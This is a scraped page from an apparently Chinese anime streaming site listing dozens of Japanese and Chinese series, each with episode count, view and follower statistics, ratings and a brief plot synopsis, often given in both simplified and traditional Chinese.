简介:结束了无限列车的任务,炭治郎前往下一个任务地点。 +与鬼杀队最强之一的音柱·宇髄天元一同前往鬼所栖身的游郭之中。 +新的战斗即将开幕。...

+
+
+ + +
+
+
+
+
+ 千从狩 +
+
+ + + + 全16话0 + + + + + 国创 中国大陆 + + + + 总播放 2351.7 万 + + + 追番人数 62.7 万 + + + 硬币数 31.9 万 + + + 弹幕总数 10.3 万 + + + 评分 9.6 + + +
+

简介:来自“华”国的少年千从,是个有印却无法使用言能的哑炮,但即使如此,他也梦想着能成为最强的言能师,并为此进入学城求学,开启了他的不灭人生。...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 290.9 万 + + + 追番人数 15.1 万 + + + 硬币数 5.2 万 + + + 弹幕总数 7.5 万 + + + 评分 - + + +
+

简介:小林家的龍女僕第二季!那位不可思議的龍女僕再度登場! +因為各種奇妙的原因而作為小林家的女僕而工作中的龍·托爾。 +偶爾(胡說,是經常)給親愛的小林添麻煩,總算是融入了人類社會,成為了一個完美的(騙人,也...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 1.3 亿 + + + 追番人数 866.4 万 + + + 硬币数 76.7 万 + + + 弹幕总数 61.1 万 + + + 评分 9.6 + + +
+

简介:那位不可思议的龙女仆再度登场! +因为各种奇妙的原因而作为小林家的女仆而工作中的龙·托尔。 +偶尔(胡说,是经常)给亲爱的小林添麻烦,总算是融入了人类社会,成为了一个完美的(骗人,也就还行)女仆。 +同样是...

+
+
+ + +
+
+
+
+ +
+ + + + 全26话0 + + + + + 番剧 日本 + + + + 总播放 46.1 万 + + + 追番人数 1.7 万 + + + 硬币数 2134 + + + 弹幕总数 7601 + + + 评分 - + + +
+

简介:在唯一的親人祖父去世後,相馬一也某天突然作為勇者被召喚到異世界。 +他被召喚到的地方,是仿佛中世紀歐洲一般的艾爾孚利登王國。 +別說是勇者了,相馬根本就只是個非常普通的青年, +但憑藉天生的理性精神和現代知...

+
+
+ + +
+
+
+
+ +
+ + + + 全26话0 + + + + + 番剧 日本 + + + + 总播放 7794.5 万 + + + 追番人数 176.4 万 + + + 硬币数 29.8 万 + + + 弹幕总数 62.9 万 + + + 评分 8.5 + + +
+

简介:在唯一的亲人祖父去世后,相马一也某天突然作为勇者被召唤到异世界。 +他被召唤到的地方,是仿佛中世纪欧洲一般的艾尔孚利登王国。 +别说是勇者了,相马根本就只是个非常普通的青年, +但凭借天生的理性精神和现代知...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 69.0 万 + + + 追番人数 4.5 万 + + + 硬币数 4305 + + + 弹幕总数 7990 + + + 评分 9.4 + + +
+

简介:我壹定會拯救妳。 +在打倒了魔女教大罪司教「怠惰」擔當——培提其烏斯·羅曼尼康帝之後,菜月昴和愛蜜莉雅又得以重新開始。 +克服了艱難的訣別,兩人終於和解,然而這只是新壹輪風波的序幕。 +超乎想象的絕境危機,...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 25.8 万 + + + 追番人数 4.3 万 + + + 硬币数 2231 + + + 弹幕总数 3008 + + + 评分 9.7 + + +
+

简介:我一定會拯救你。 +在打倒了魔女教大罪司教「怠惰」擔當——培提其烏斯·羅曼尼康帝之後,菜月昴和愛蜜莉雅又得以重新開始。 +克服了艱難的訣別,兩人終於和解,然而這只是新一輪風波的序幕。 +超乎想像的絕境危機,...

+
+
+ + +
+
+
+
+ +
+ + + + 未完结0 + + + + + 番剧 日本 + + + + 总播放 3.2 万 + + + 追番人数 6738 + + + 硬币数 354 + + + 弹幕总数 365 + + + 评分 - + + +
+

简介:魔法確立為實際技術約一世紀後的二○九五年四月。 +培育魔法師的國立魔法大學附設第一高中, +通稱「魔法科高中」的這所學校有一對兄妹入學了。 +一人是以魔法師來說背負致命缺陷的劣等生哥哥――達也。 +另一人是被...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 21.1 万 + + + 追番人数 1.2 万 + + + 硬币数 890 + + + 弹幕总数 1665 + + + 评分 - + + +
+

简介:拓展出無限可能性的虛擬實境大型多人線上角色扮演遊戲《方舟地球網路版》。 +玩家建立的國度阿爾凱特王國擁有九位賢者, +其中有一位威風凜凜的老年召喚術士名叫鄧不利夫,是遊戲玩家之一。 +某一天,他感受到世界發...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 3446.8 万 + + + 追番人数 119.8 万 + + + 硬币数 8.8 万 + + + 弹幕总数 16.7 万 + + + 评分 6 + + +
+

简介:拓展出无限可能性的虚拟现实大型多人在线角色扮演游戏《方舟地球网络版》。 +玩家建立的国度阿尔凯特王国拥有九位贤者, +其中有一位威风凛凛的老年召唤术士名叫邓不利夫,是游戏玩家之一。 +某一天,他感受到世界发...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 48.4 万 + + + 追番人数 2.5 万 + + + 硬币数 2603 + + + 弹幕总数 4172 + + + 评分 - + + +
+

简介:因自己不受歡迎找不到女朋友,而鬱鬱寡歡的32歲職場白領橘日向,借由異世界女神之力,和自幼玩伴&現完美精英的同事一起轉移到了異世界!竟因女神的粗心,變為了超絕可愛金髮美少女――!? +為尋回自己原本的性...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 46.1 万 + + + 追番人数 2.5 万 + + + 硬币数 2504 + + + 弹幕总数 4819 + + + 评分 - + + +
+

简介:暴露在霸權國家威脅下的小國:納特拉王國 +年紀輕輕就背負國家重擔的王子威恩在輔佐官妮妮姆的支持下,發揮自身的天賦,開始施展精明的手段。 +可是,這個國家……已經徹底沒救了! +想要革新內政卻沒錢。 +想要向外...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 6932.7 万 + + + 追番人数 248.5 万 + + + 硬币数 41.0 万 + + + 弹幕总数 44.1 万 + + + 评分 9.5 + + +
+

简介:暴露在霸权国家威胁下的小国:纳特拉王国 +年纪轻轻就背负国家重担的王子维恩在辅佐官妮妮姆的支持下,发挥自身的天赋,开始施展精明的手段。 +可是,这个国家……已经彻底没救了! +想要革新内政却没钱。 +想要向外...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 3291.9 万 + + + 追番人数 322.0 万 + + + 硬币数 22.8 万 + + + 弹幕总数 23.3 万 + + + 评分 5.9 + + +
+

简介:阿斯特莱亚大陆,是一片有着微风吹拂的美丽大地。 +而在这大地的角落里,一个失去了记忆的少年佑树醒了过来。 +和他同行的,有着负责照顾他的小个子向导,可可萝。 +还有一位总是肚子饿得咕咕叫的美少女剑士,佩可莉...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 82.3 万 + + + 追番人数 5.9 万 + + + 硬币数 1.4 万 + + + 弹幕总数 1.9 万 + + + 评分 - + + +
+

简介:舞臺位於鄉下的名門女子初級中學——私立蠟梅學園。 +有一位名叫明日小路的少女,夢想著能夠穿上這所學園的水手服。 +因為某個契機,她實現了這一夢想,於是在緊張中迎來了開學典禮的日子—— +「我要穿水手服」 +懷...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 399.4 万 + + + 追番人数 17.7 万 + + + 硬币数 5.8 万 + + + 弹幕总数 7.9 万 + + + 评分 - + + +
+

简介:男高中生五條新菜夢想著成為製作雛人形面部的「頭師」。 +全身心地投入到製作雛人形後,他離同齡人的流行話題越來越遠,以至於遲遲無法融入班級。 +對於這樣的新菜來說,一直是班級中心人物的喜多川海夢簡直像是生活...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 5608.6 万 + + + 追番人数 180.3 万 + + + 硬币数 12.1 万 + + + 弹幕总数 33.3 万 + + + 评分 4.8 + + +
+

简介:被誉为世界最强魔法师的「贤者」盖亚斯,感受到自己与生俱来的纹章的性能已经到达了极限。 +他为了变更纹章而采取的方法,则是通过转生来获得新的躯体! +他转生到了遥远的未来世界,得到了渴求已久的「最适合魔法战...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 688.6 万 + + + 追番人数 99.0 万 + + + 硬币数 5.0 万 + + + 弹幕总数 5.7 万 + + + 评分 8.8 + + +
+

简介:2045年,坍缩液的污染已蔓延到整个地球。 +为了争夺食与住这两项人类最原始的需求,第三次世界大战席卷了全世界。 +战争结束后,世界已是寸草不生。 +在文明濒临毁灭的同时,战争与伴随战争产生的劳动力紧缺促使...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 6059.9 万 + + + 追番人数 343.2 万 + + + 硬币数 164.6 万 + + + 弹幕总数 72.9 万 + + + 评分 9.9 + + +
+

简介:“捉弄”缩短了二人的距离, +2022年想要守候的初恋就在这里。 + +在一所初中里,有一个叫做西片的男生,他时不时就会遭到同桌女生高木的捉弄。 +西片每次思考对策,想要捉弄回高木,都会被高木看透。 + +于是西...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 25.5 万 + + + 追番人数 1.2 万 + + + 硬币数 1188 + + + 弹幕总数 1456 + + + 评分 - + + +
+

简介:一場不幸的事故,讓名為各務桂菜的少女不得不在生命維持裝置裡度過一生。只有虛擬實境大型多人線上角色扮演遊戲《里亞德錄》是她唯一的自由。 + +而就在某一天,生命維持裝置忽然停止,桂菜也失去了生命。 +但是當她...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 6488.8 万 + + + 追番人数 162.9 万 + + + 硬币数 24.3 万 + + + 弹幕总数 29.2 万 + + + 评分 9.2 + + +
+

简介:一场不幸的事故,让名为各务桂菜的少女不得不在生命维持装置里度过一生。只有虚拟现实大型多人在线角色扮演游戏《里亚德录》是她唯一的自由。 + +而就在某一天,生命维持装置忽然停止,桂菜也失去了生命。 +但是当她...

+
+
+ + +
+
+
+
+ +
+ + + + 全8话0 + + + + + 番剧 日本 + + + + 总播放 356.0 万 + + + 追番人数 35.1 万 + + + 硬币数 2.3 万 + + + 弹幕总数 8.2 万 + + + 评分 9.7 + + +
+

简介:正篇讲述关系很亲密的5个人组成的小组织“Little Busters”的成员——少年直枝理树和领袖人物枣恭介为了享受最后的高中生活而组建了一支棒球队“Little Busters”,然后棒球队的成员们...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 620.9 万 + + + 追番人数 50.7 万 + + + 硬币数 5.6 万 + + + 弹幕总数 19.6 万 + + + 评分 9.8 + + +
+

简介:幼时曾深陷绝望深渊的直枝理树,与4位少年少女相遇了。在那之后数年,理树作为Little Busters的一员,喧闹地过着快乐的每一天,“这样的时间能够一直持续就好了”理树所期望的只有这样。某日,恭介突...

+
+
+ + +
+
+
+
+ +
+ + + + 全26话0 + + + + + 番剧 日本 + + + + 总播放 1817.1 万 + + + 追番人数 145.5 万 + + + 硬币数 7.9 万 + + + 弹幕总数 60.0 万 + + + 评分 9.7 + + +
+

简介:《Little Busters!》是根据Key社发行的同名美少女游戏改编的电视动画,由J.C.STAFF制作。故事的主题是青春与友情,讲述了自幼父母双亡的主人公直枝理树,在深陷绝望之时被一个名为“Li...

+
+
+ + +
+
+
+
+ +
+ + + + 未完结0 + + + + + 番剧 日本 + + + + 总播放 518.7 万 + + + 追番人数 21.0 万 + + + 硬币数 8.7 万 + + + 弹幕总数 4.8 万 + + + 评分 9.9 + + +
+

简介:為了應對吉亞迪所開發出的完全獨立無人戰鬥兵器“軍團”的入侵,其鄰國聖格諾利亞共和國開發了無人戰鬥兵器毀滅之力。但是,無人戰鬥機只是空有名號,實際是沒有被認可為”人“的人們——86——駕駛,被當作道具來...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 22.3 万 + + + 追番人数 2.9 万 + + + 硬币数 3786 + + + 弹幕总数 3528 + + + 评分 - + + +
+

简介:炭治郎等人完成了「蝴蝶屋」的訓練後,立即接到了下一個任務「無限列車」。據說在短時間之內,有四十人以上的乘客在列車上失蹤,眾人懷疑是鬼下的手。炭治郎帶著禰豆子與善逸、伊之助一行人,與鬼殺隊最強的劍士、「...

+
+
+ + +
+
+
+
+ +
+ + + + 未完结0 + + + + + 番剧 日本 + + + + 总播放 100.3 万 + + + 追番人数 3.2 万 + + + 硬币数 3768 + + + 弹幕总数 6222 + + + 评分 - + + +
+

简介:結束了無限列車的任務,炭治郎前往下一個任務地點。 +與鬼殺隊最強之一的音柱·宇髄天元一同前往鬼所棲身的游郭之中。 +新的戰鬥即將開幕。...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 6109.3 万 + + + 追番人数 336.5 万 + + + 硬币数 34.8 万 + + + 弹幕总数 26.6 万 + + + 评分 7.5 + + +
+

简介:“音乐是一种力量。” +乐曲成为了少女的力量。 +过去时代诞生的传说中的歌剧、伟大的乐曲,被乐谱灌输成了新的生命「奏者」。 +在失去音乐的世界里,用音乐力量战斗的少女们虚幻又美丽的命运故事。 +她们只是以前方...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 1534.6 万 + + + 追番人数 522.5 万 + + + 硬币数 16.2 万 + + + 弹幕总数 10.0 万 + + + 评分 8.6 + + +
+

简介:在经过七个特异点的大战后, +人理存续保障机关迦勒底,终于到达了圣杯探索的最终地点——终局特异点 冠位时间神殿所罗门。 +他们要击败身为罪魁祸首的魔术王所罗门,夺回未来。 +在开战的前一刻,一行人各自度过了...

+
+
+ + +
+
+
+
+ +
+ + + + 未完结0 + + + + + 番剧 日本 + + + + 总播放 47.3 万 + + + 追番人数 1.8 万 + + + 硬币数 1449 + + + 弹幕总数 1795 + + + 评分 - + + +
+

简介:結束了在蝶屋中的修行的炭治郎一行人,前往了下一個任務地點——無限列車。 +此處據說在短時間內就有四十人以上的乘客下落不明。 +炭治郎攜帶著禰豆子,與善逸、伊之助等人,同鬼殺隊最強劍士之一的炎柱煉獄杏壽郎匯...

+
+
+ + +
+
+
+
+ +
+ + + + 全7话0 + + + + + 番剧 日本 + + + + 总播放 1.9 亿 + + + 追番人数 1329.3 万 + + + 硬币数 117.2 万 + + + 弹幕总数 93.7 万 + + + 评分 9.8 + + +
+

简介:结束了在蝶屋中的修行的炭治郎一行人,前往了下一个任务地点——无限列车。 +此处据说在短时间内就有四十人以上的乘客下落不明。 +炭治郎携带着祢豆子,与善逸、伊之助等人,同鬼杀队最强剑士之一的炎柱炼狱杏寿郎汇...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 5302.2 万 + + + 追番人数 211.4 万 + + + 硬币数 17.9 万 + + + 弹幕总数 20.8 万 + + + 评分 6.3 + + +
+

简介:曾经灭亡的死者之街。 +那里有一个孩子和三个不死的人。 +被曾经作为英雄的不死者们养育的少年。 +继承技能继承知识,注入爱的少年成长。 +阐发了下去,不死者的过去,奥秘的谜。 +当知道那一切的时候,少年踏上了通...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 7229.8 万 + + + 追番人数 385.8 万 + + + 硬币数 37.3 万 + + + 弹幕总数 71.4 万 + + + 评分 9.6 + + +
+

简介:公爵千金卡塔莉娜·克拉艾斯因为头部被石头砸中而苏醒了前世的记忆。 +这里是她前世所沉迷的乙女游戏“幸运恋人”的世界, +而自己却是游戏主人公爱情路上的绊脚石反派大小姐! +在游戏中,等待着卡塔莉娜的结局是,...

+
+
+ + +
+
+
+
+ +
+ + + + 未完结0 + + + + + 番剧 日本 + + + + 总播放 55.5 万 + + + 追番人数 2.7 万 + + + 硬币数 3088 + + + 弹幕总数 8005 + + + 评分 - + + +
+

简介:「你不是真正的夥伴——」 +已經不能在前線戰鬥的英雄·雷德,被隊伍裡的賢者判斷不再是戰力後逐出了勇者隊伍。 +「唉——那段日子可真難熬啊」因為雷德離開了隊伍,賢者一行人陷入了大混亂中,而當事人卻一無所知的...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 9619.3 万 + + + 追番人数 303.1 万 + + + 硬币数 39.7 万 + + + 弹幕总数 55.1 万 + + + 评分 8 + + +
+

简介:「你不是真正的伙伴——」 +已经不能在前线战斗的英雄·雷德,被队伍里的贤者判断不再是战力后逐出了勇者队伍。 +「唉——那段日子可真难熬啊」因为雷德离开了队伍,贤者一行人陷入了大混乱中,而当事人却一无所知的...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 78.1 万 + + + 追番人数 3.9 万 + + + 硬币数 4659 + + + 弹幕总数 1.1 万 + + + 评分 - + + +
+

简介:世界第一的暗殺者,作為暗殺世家的長男重生了。 +作為能夠轉生到異世界的條件,他接下了女神給下達的唯一一項任務。 + +“殺了被預言會帶給人類災厄的‘勇者’”。 + +這是曾經世界最強暗殺者在新的人生中必須要完成...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 国创 中国大陆 + + + + 总播放 1916.4 万 + + + 追番人数 258.8 万 + + + 硬币数 6.0 万 + + + 弹幕总数 6.4 万 + + + 评分 9.5 + + +
+

简介:《如果历史是一群喵》是一部以华夏历史为主线的非严谨萌系动画,作品以风趣幽默的语言对历史事件进行了重新解读,更容易为年轻人记忆和接受。在表达上,作品用现代动画的手法塑造了12只体态丰盈、造型可爱的猫咪,...

+
+
+ + +
+
+
+
+ +
+ + + + 未完结0 + + + + + 番剧 日本 + + + + 总播放 30.0 万 + + + 追番人数 1.9 万 + + + 硬币数 2838 + + + 弹幕总数 5404 + + + 评分 - + + +
+

简介:五十嵐雙葉,是入職絲卷商社剛到第二年,想要儘快獨當一面的新人。 +武田晴海,則是個性有些粗獷,但很會照顧人的前輩。 +雙葉雖然覺得武田前輩比較煩人, +但有時也會覺得溫馨, +後來還是覺得很煩人…就這樣搖擺不...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1.6 亿 + + + 追番人数 508.8 万 + + + 硬币数 96.6 万 + + + 弹幕总数 100.3 万 + + + 评分 9.2 + + +
+

简介:世界第一的暗杀者,作为暗杀世家的长男重生了。 +作为能够转生到异世界的条件,他接下了女神给下达的唯一一项任务。 + +“杀了被预言会带给人类灾厄的‘勇者’”。 + +这是曾经世界最强暗杀者在新的人生中必须要完成...

+
+
+ + +
+
+
+
+ +
+ + + + 未完结0 + + + + + 番剧 日本 + + + + 总播放 18.9 万 + + + 追番人数 1.1 万 + + + 硬币数 805 + + + 弹幕总数 3034 + + + 评分 - + + +
+

简介:一天,主人公柊誠一連同全校師生被傳送到了一個奇幻世界,卻只有他一個人被丟在了怪物橫行的深山老林裡。 +不料,他在饑腸轆轆之下偶然吃下的“進化之實”,竟然是能讓人進化的神器! +自此,曾一路挨打的柊誠一的爆...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 5590.1 万 + + + 追番人数 171.8 万 + + + 硬币数 15.5 万 + + + 弹幕总数 30.3 万 + + + 评分 5 + + +
+

简介:一天,主人公柊诚一连同全校师生被传送到了一个奇幻世界,却只有他一个人被丢在了怪物横行的深山老林里。 +不料,他在饥肠辘辘之下偶然吃下的“进化之实”,竟然是能让人进化的神器! +自此,曾一路挨打的柊诚一的爆...

+
+
+ + +
+
+
+
+ +
+ + + + 未完结0 + + + + + 番剧 日本 + + + + 总播放 8.7 万 + + + 追番人数 8975 + + + 硬币数 938 + + + 弹幕总数 960 + + + 评分 - + + +
+

简介:這是一段,關於曾經、關於未來的故事。

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 702.7 万 + + + 追番人数 86.3 万 + + + 硬币数 5.1 万 + + + 弹幕总数 3.7 万 + + + 评分 9.8 + + +
+

简介:这是一段,关于曾经、关于未来的故事。

+
+
+ + +
+
+
+
+ +
+ + + + 未完结0 + + + + + 番剧 日本 + + + + 总播放 42.8 万 + + + 追番人数 3.7 万 + + + 硬币数 2180 + + + 弹幕总数 2113 + + + 评分 - + + +
+

简介:在經過假日的補眠過後,又來到了憂鬱的星期一,當對生活感到憂愁想放棄時,小愛出現在哥哥的面前,從此以後每個星期一早晨像是得到療癒般的幸福,為了預防電車癡漢的騷擾,哥哥都會與小愛一起搭電車去上班… + +...

+
+
+ + +
+
+
+
+ +
+ + + + 全2话0 + + + + + 番剧 日本 + + + + 总播放 1195.5 万 + + + 追番人数 479.4 万 + + + 硬币数 9.9 万 + + + 弹幕总数 4.6 万 + + + 评分 9.8 + + +
+

简介:一起庆祝吧!为了这奇迹般的嘉年华!

+
+
+ + +
+
+
+
+ +
+ + + + 全10话0 + + + + + 番剧 日本 + + + + 总播放 6011.1 万 + + + 追番人数 300.3 万 + + + 硬币数 34.1 万 + + + 弹幕总数 22.0 万 + + + 评分 9.7 + + +
+

简介:主人公被称作“不死之龙”(传闻中一晚上可以单枪匹马毁掉对手整整十处地盘传说中的极道老大)。曾是极道老大,现为家庭主夫。 +因为曾是极道人士的经历影响,遣词用句时常带有道上人的风格,容易让人感到畏惧、恐怖...

+
+
+ + +
+
+
+
+
+ 伍六七 +
+
+ + + + 全13话0 + + + + + 国创 中国大陆 + + + + 总播放 3.7 亿 + + + 追番人数 607.5 万 + + + 硬币数 203.1 万 + + + 弹幕总数 232.3 万 + + + 评分 9.8 + + +
+

简介:在某个小岛上,有一个可以伪装成任何东西的廉价刺客,名叫伍六七。平时看上去是个理发师,其实背地里却做着刺客生意。热爱理发事业,喜欢给人剪头发,善用剪刀——剪刀也是他的刺杀武器。由于初入刺客行当,行情十分...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 6401.2 万 + + + 追番人数 200.8 万 + + + 硬币数 16.4 万 + + + 弹幕总数 29.2 万 + + + 评分 8.7 + + +
+

简介:事情开始在一个与平常并无区别的早晨。 +最喜欢游戏和金平糖的高中生白柳启,因为一名自称魅音的神秘少女而突然被卷入战场之中。 +对着被聚集此处的人们,魅音如此说道 +「各位的户籍已经不存在了」 +「你们将成为实...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 4730.4 万 + + + 追番人数 203.6 万 + + + 硬币数 28.5 万 + + + 弹幕总数 43.1 万 + + + 评分 5.8 + + +
+

简介:在她成为神的那天,世界开始走向终结—— +高中最后的暑假,在成神阳太的眼前,突然有一天,自称“知晓一切的神”的少女雏出现了。 +“30天后,这个世界就会结束。” +阳太对告知这样的消息感到困惑,但是看到神一...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 2931.1 万 + + + 追番人数 129.2 万 + + + 硬币数 17.4 万 + + + 弹幕总数 27.8 万 + + + 评分 9.8 + + +
+

简介:在教育节目中带领大家做体操的大哥哥表田里道,通称“体操大哥哥”,是一个对孩子们展现笑容的温柔大哥哥。 +但是,偶尔能看到他的另一面。 + +好累、好痛苦、好想做个废人。 + +因为情绪不稳定而偶尔流露出的大人的...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 19.6 万 + + + 追番人数 2.3 万 + + + 硬币数 880 + + + 弹幕总数 738 + + + 评分 - + + +
+

简介:《星期一的豐滿》登場的上班族和一般人一樣,庸庸碌碌過著無趣的每一天。腦海裡偶爾會閃過不如去死的念頭,但又不敢付諸行動,只能繼續當個認命的社畜領著微薄薪水。偶然遇見的女學生,卻意外成為每週一的小確幸。...

+
+
+ + +
+
+
+
+ +
+ + + + 全3话0 + + + + + 番剧 日本 + + + + 总播放 177.3 万 + + + 追番人数 14.8 万 + + + 硬币数 9008 + + + 弹幕总数 1.6 万 + + + 评分 9.7 + + +
+

简介:《结城友奈是勇者》的前传剧场版《结城友奈是勇者:鹫尾须美之章》将于2017年3月开始上映,本作一共分为三章,后两部将会在4月、7月上映。现在官方公开了本作剧场版的CM,其中鹫尾须美、乃木园子和三之轮银...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 713.2 万 + + + 追番人数 38.5 万 + + + 硬币数 4.2 万 + + + 弹幕总数 10.8 万 + + + 评分 9.6 + + +
+

简介:故事发生在神世纪300年,主要讲述结城友奈是初中2年级学生,她天天在学校里过着与很多朋友一同听课、进行社团活动、玩耍的平稳生活。不管怎么看这都是非常普通的女孩的生活日程,但是只有一点与其他孩子决定性不...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 691.6 万 + + + 追番人数 57.3 万 + + + 硬币数 3.1 万 + + + 弹幕总数 19.0 万 + + + 评分 9.6 + + +
+

简介:故事发生在神世纪300年,主要讲述结城友奈是初中2年级学生,她天天在学校里过着与很多朋友一同听课、进行社团活动、玩耍的平稳生活。不管怎么看这都是非常普通的女孩的生活日程,但是只有一点与其他孩子决定性不...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 698.6 万 + + + 追番人数 479.6 万 + + + 硬币数 3.1 万 + + + 弹幕总数 1.1 万 + + + 评分 9.5 + + +
+

简介:失落之室——。 +这是一个可以看到被夺去亦或是遗失之物的地方。 +这是位于迦勒底被遗忘的角落,不属于任何人的地方。...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 58.8 万 + + + 追番人数 2.2 万 + + + 硬币数 4831 + + + 弹幕总数 9677 + + + 评分 - + + +
+

简介:在教育節目中帶領大家做體操的大哥哥表田裡道,通稱“體操大哥哥”,是一個對孩子們展現笑容的溫柔大哥哥。 +但是,偶爾能看到他的另一面。 + +好累、好痛苦、好想做個廢人。 + +因為情緒不穩定而偶爾流露出的大人的...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 国创 中国大陆 + + + + 总播放 1636.2 万 + + + 追番人数 139.6 万 + + + 硬币数 3.6 万 + + + 弹幕总数 4.3 万 + + + 评分 6.5 + + +
+

简介: 人死分三魂。天魂归天、人魂留墓、地魂归地。东地有地界、西地有冥界,安纳世间地魂。东地地界常设黑白无双二职,引导地魂入地界,顺天地大道护自然之理。...

+
+
+ + +
+
+
+
+ +
+ + + + 未完结0 + + + + + 番剧 日本 + + + + 总播放 25.4 万 + + + 追番人数 2.7 万 + + + 硬币数 1496 + + + 弹幕总数 3164 + + + 评分 - + + +
+

简介:魔法——這不是傳說或童話的產物,而是發展至今將近一個世紀的現實技術。 +今年春天,持有施展魔法能力的「魔法師」培育機構「國立魔法大學附屬第一高中」,某位少女將入學就讀。 +容貌秀麗、完美無缺的優等生—— +...

+
+
+ + +
+
+
+
+ +
+ + + + 未完结0 + + + + + 番剧 日本 + + + + 总播放 24.2 万 + + + 追番人数 1.8 万 + + + 硬币数 1859 + + + 弹幕总数 5679 + + + 评分 - + + +
+

简介:2016年,橋場恭也就職于一家普通的遊戲公司。有一天,公司作為債務抵押品被扣,社長失蹤,他失業了。 +他在電視上看到與他同齡的創作大神們的活躍表現,不由欽佩憧憬的同時,也開始對過往渾渾噩噩的人生感到懊悔...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 6443.5 万 + + + 追番人数 254.1 万 + + + 硬币数 57.2 万 + + + 弹幕总数 64.1 万 + + + 评分 9.6 + + +
+

简介:2016年,桥场恭也就职于一家普通的游戏公司。然而有一天,公司作为债务抵押品被扣,社长失踪,他失业了。 +他在电视上看到与他同龄的创作大神们的活跃表现,不由钦佩憧憬的同时,也开始对过往浑浑噩噩的人生感到...

+
+
+ + +
+
+
+
+ +
+ + + + 未完结0 + + + + + 番剧 日本 + + + + 总播放 5.3 万 + + + 追番人数 7337 + + + 硬币数 429 + + + 弹幕总数 152 + + + 评分 - + + +
+

简介:這是閃閃發光的「思緒」之間互相聯繫的故事—— +喜悅、悲傷、憤怒——。人類的七情六欲誰都擁有,然而無法被肉眼觀測。這種力量有時甚至可以改變世界。 + +一直樂觀向上樂於助人的平原陽櫻莉和不知道如何與人相處、...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 503.8 万 + + + 追番人数 40.4 万 + + + 硬币数 2.6 万 + + + 弹幕总数 3.3 万 + + + 评分 8.6 + + +
+

简介:这是闪闪发光的「思绪」之间互相联系的故事—— +喜悦、悲伤、愤怒——。人类的七情六欲谁都拥有,然而无法被肉眼观测。这种力量有时甚至可以改变世界。 + +一直乐观向上乐于助人的平原阳樱莉和不知道如何与人相处、...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 2760.3 万 + + + 追番人数 206.2 万 + + + 硬币数 13.1 万 + + + 弹幕总数 19.2 万 + + + 评分 8 + + +
+

简介:喜欢合理单独行动的初中3年级学生四谷友助,有一天被传送到了游戏中的异世界——。 +那里有已经被传送过去的同班同学新堂衣宇和箱崎红末,成为第三位玩家的他,拼上性命挑战任务。 +排除感情,对一切要素都一视同仁...

+
+
+ + +
+
+
+
+ +
